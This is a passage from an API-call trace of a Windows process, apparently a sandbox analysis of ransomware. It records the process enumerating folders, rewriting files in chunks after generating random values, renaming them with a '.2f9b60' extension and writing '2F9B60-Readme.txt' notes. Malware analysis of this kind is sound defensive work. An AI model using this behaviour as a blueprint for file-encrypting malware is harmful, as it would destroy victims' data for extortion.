returned 2 [0163.292] sprintf (in: _Dest=0x1cd86a16, _Format="%c%c" | out: _Dest="ea") returned 2 [0163.292] sprintf (in: _Dest=0x1cd86a18, _Format="%c%c" | out: _Dest="39") returned 2 [0163.292] sprintf (in: _Dest=0x1cd86a1a, _Format="%c%c" | out: _Dest="08") returned 2 [0163.292] RtlInitAnsiString (in: DestinationString=0x21a7fca8, SourceString="5ad3bd77424663c55be331f33e5d7ecde5e79bd4b3a1baa6b9dbf75cd99afe871ca57cea3908" | out: DestinationString="5ad3bd77424663c55be331f33e5d7ecde5e79bd4b3a1baa6b9dbf75cd99afe871ca57cea3908") [0163.292] RtlAnsiStringToUnicodeString (in: DestinationString=0x21a7fc78, SourceString="5ad3bd77424663c55be331f33e5d7ecde5e79bd4b3a1baa6b9dbf75cd99afe871ca57cea3908", AllocateDestinationString=1 | out: DestinationString="5ad3bd77424663c55be331f33e5d7ecde5e79bd4b3a1baa6b9dbf75cd99afe871ca57cea3908") returned 0x0 [0163.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050d2c0 [0163.293] RtlFreeAnsiString (AnsiString="5") [0163.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd869d0) returned 1 [0163.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7790) returned 1 [0163.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7700) returned 1 [0163.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x133600) returned 1 [0163.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7e80) returned 1 [0163.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7940) returned 1 [0163.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8ad0) returned 1 [0163.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7760) returned 1 [0163.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced71d0) returned 1 [0163.296] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fe0) returned 1 [0163.296] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce22320 [0163.297] wcscat (in: _Dest=0x1ce22320, _Source="5ad3bd77424663c55be" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\5ad3bd77424663c55be") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\5ad3bd77424663c55be" [0163.297] wcscat (in: _Dest=0x1ce22320, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\5ad3bd77424663c55be.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\5ad3bd77424663c55be.2f9b60" [0163.297] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\5ad3bd77424663c55be.2f9b60", NtPathName=0x21a7fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\5ad3bd77424663c55be.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1cecf5c0 [0165.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf5c0) returned 1 [0165.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c27670) returned 1 [0165.110] NtQueryInformationFile (in: FileHandle=0x1dd8, IoStatusBlock=0x21a7fcb8, FileInformation=0x21a7fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21a7fcb8, FileInformation=0x21a7fcc8) returned 0x0 [0165.110] NtSetInformationFile (FileHandle=0x1dd8, IoStatusBlock=0x21a7fcb8, FileInformation=0x21a7fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22320) returned 1 [0165.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d2c0) returned 1 [0165.112] FlushFileBuffers (hFile=0x1dd8) returned 1 [0166.267] CloseHandle (hObject=0x1dd8) returned 1 [0183.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ada20 [0183.991] wcscpy (in: _Dest=0x202ada20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\" [0183.991] wcscat (in: _Dest=0x202ada20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\2F9B60-Readme.txt" [0183.991] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\2f9b60-readme.txt")) returned 0xffffffff [0190.819] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x868 [0209.490] WriteFile (in: hFile=0x868, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x21a7fb70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x21a7fb70*=0xba9, lpOverlapped=0x0) returned 1 [0220.291] CloseHandle (hObject=0x868) returned 1 [0224.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ada20) returned 1 [0224.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862300) returned 1 Thread: id = 2312 os_tid = 0x1c84 [0149.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1b776a10 [0149.021] wcscpy (in: _Dest=0x1b776a10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" [0149.021] wcscat (in: _Dest=0x1b776a10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\" [0149.021] wcscat (in: _Dest=0x1b776a10, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*" [0149.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21530 [0149.022] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9df70 [0149.024] wcscmp (_String1=".", _String2=".") returned 0 [0149.024] FindNextFileW (in: hFindFile=0x1cd9df70, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.024] wcscmp (_String1="..", _String2=".") returned 1 [0149.024] wcscmp (_String1="..", _String2="..") returned 0 [0149.024] FindNextFileW (in: hFindFile=0x1cd9df70, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xa770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0149.024] wcscmp (_String1="Microsoft.Office.Infopath.dll", _String2=".") returned 1 [0149.024] wcscmp (_String1="Microsoft.Office.Infopath.dll", _String2="..") returned 1 [0149.024] FindNextFileW (in: hFindFile=0x1cd9df70, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x65c9fd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0149.024] wcscmp (_String1="Microsoft.Office.InfoPath.xml", _String2=".") returned 1 [0149.024] wcscmp (_String1="Microsoft.Office.InfoPath.xml", _String2="..") returned 1 [0149.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x166f20 [0149.024] wcscpy (in: _Dest=0x166f20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" [0149.024] wcscat (in: _Dest=0x166f20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\" [0149.024] wcscat (in: _Dest=0x166f20, _Source="Microsoft.Office.InfoPath.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml" [0151.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml")) returned 0x20 [0151.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml", dwFileAttributes=0x20) returned 1 [0151.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2558 [0151.634] GetFileSizeEx (in: hFile=0x2558, lpFileSize=0x21e4f7e0 | out: lpFileSize=0x21e4f7e0*=253407) returned 1 [0151.634] SetFilePointerEx (in: hFile=0x2558, liDistanceToMove=0x3dddb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.634] ReadFile (in: hFile=0x2558, lpBuffer=0x21e4f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21e4f7a8, lpOverlapped=0x0 | out: lpBuffer=0x21e4f760*, lpNumberOfBytesRead=0x21e4f7a8*=0x4, lpOverlapped=0x0) returned 1 [0151.644] SetFilePointerEx (in: hFile=0x2558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f250 [0151.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffb40 [0151.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffbd0 [0151.644] NtQuerySystemTime (in: CurrentTime=0x21e4f6a0 | out: CurrentTime=0x21e4f6a0*=132462177568498000) returned 0x0 [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x526c2f44 [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x5ceabc64 [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x669e779d [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x1fbf6f49 [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x61285f05 [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x44dfd7e9 [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x65f474e4 [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x1e9c8625 [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x3527af3d [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x36c701b5 [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x6782dbe7 [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x4f6ae440 [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x7c38dcee [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x630ef6e0 [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x448a2c9d [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x460718df [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x7dfdc50 [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x1ca9f579 [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x6e7404af [0151.644] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x54bab707 [0151.645] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x22962533 [0151.645] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x10969400 [0151.645] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x6577ac14 [0151.645] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x37f7a26e [0151.645] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x20fb7ee9 [0151.645] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0xadf213a [0151.645] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x63127838 [0151.645] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x4266117f [0151.645] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x1a60cae4 [0151.645] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x1da8cdf0 [0151.645] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x2e51135d [0151.645] RtlRandomEx (in: Seed=0x21e4f690 | out: Seed=0x21e4f690) returned 0x68f7b264 [0151.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffc00 [0151.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0151.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffc30 [0151.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0151.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffbd0) returned 1 [0151.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f250) returned 1 [0151.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4252e500 [0151.663] SetFilePointerEx (in: hFile=0x2558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.663] ReadFile (in: hFile=0x2558, lpBuffer=0x4252e500, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21e4f700, lpOverlapped=0x0 | out: lpBuffer=0x4252e500*, lpNumberOfBytesRead=0x21e4f700*=0x3c00, lpOverlapped=0x0) returned 1 [0151.697] SetFilePointerEx (in: hFile=0x2558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058970 [0151.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0151.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f250 [0151.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f250) returned 1 [0151.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42539930 [0151.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f250 [0151.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffcf0 [0151.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffcf0) returned 1 [0151.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0151.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058970) returned 1 [0151.699] WriteFile (hFile=0x2558, lpBuffer=0x42539930, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21e4f700, lpOverlapped=0x0) [0187.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42539930) returned 1 [0187.444] SetFilePointerEx (in: hFile=0x2558, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.444] ReadFile (in: hFile=0x2558, lpBuffer=0x4252e500, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21e4f700, lpOverlapped=0x0 | out: lpBuffer=0x4252e500*, lpNumberOfBytesRead=0x21e4f700*=0x3c00, lpOverlapped=0x0) returned 1 [0190.731] SetFilePointerEx (in: hFile=0x2558, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139340 [0190.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139340) returned 1 [0190.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42f7b8b0 [0190.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139340 [0190.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139370 [0190.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139370) returned 1 [0190.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.734] WriteFile (in: hFile=0x2558, lpBuffer=0x42f7b8b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21e4f700, lpOverlapped=0x0 | out: lpBuffer=0x42f7b8b0*, lpNumberOfBytesWritten=0x21e4f700*=0x3c00, lpOverlapped=0x0) returned 1 [0205.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f7b8b0) returned 1 [0205.524] SetFilePointerEx (in: hFile=0x2558, liDistanceToMove=0x3a1df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.524] ReadFile (in: hFile=0x2558, lpBuffer=0x4252e500, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21e4f700, lpOverlapped=0x0 | out: lpBuffer=0x4252e500*, lpNumberOfBytesRead=0x21e4f700*=0x3c00, lpOverlapped=0x0) returned 1 [0205.526] SetFilePointerEx (in: hFile=0x2558, liDistanceToMove=0x3a1df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8c90 [0205.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8c90) returned 1 [0205.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42f7b8b0 [0205.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8c90 [0205.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc8c0 [0205.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc8c0) returned 1 [0205.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.530] WriteFile (in: hFile=0x2558, lpBuffer=0x42f7b8b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21e4f700, lpOverlapped=0x0 | out: lpBuffer=0x42f7b8b0*, lpNumberOfBytesWritten=0x21e4f700*=0x3c00, lpOverlapped=0x0) returned 1 [0214.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f7b8b0) returned 1 [0214.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104e20 [0214.885] SetFilePointerEx (in: hFile=0x2558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.886] WriteFile (in: hFile=0x2558, lpBuffer=0x19f1a0*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x21e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x19f1a0*, lpNumberOfBytesWritten=0x21e4f7b0*=0x16c, lpOverlapped=0x0) returned 1 [0218.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0218.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264950 [0218.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264950) returned 1 [0218.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82bcc0 [0218.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264950 [0218.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265310 [0218.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265310) returned 1 [0218.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0218.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x75) returned 0x1b79e270 [0218.870] sprintf (in: _Dest=0x1b79e270, _Format="%c%c" | out: _Dest="96") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e272, _Format="%c%c" | out: _Dest="8e") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e274, _Format="%c%c" | out: _Dest="6a") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e276, _Format="%c%c" | out: _Dest="b9") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e278, _Format="%c%c" | out: _Dest="56") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e27a, _Format="%c%c" | out: _Dest="1c") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e27c, _Format="%c%c" | out: _Dest="fd") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e27e, _Format="%c%c" | out: _Dest="25") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e280, _Format="%c%c" | out: _Dest="d6") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e282, _Format="%c%c" | out: _Dest="25") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e284, _Format="%c%c" | out: _Dest="8b") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e286, _Format="%c%c" | out: _Dest="ff") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e288, _Format="%c%c" | out: _Dest="05") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e28a, _Format="%c%c" | out: _Dest="42") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e28c, _Format="%c%c" | out: 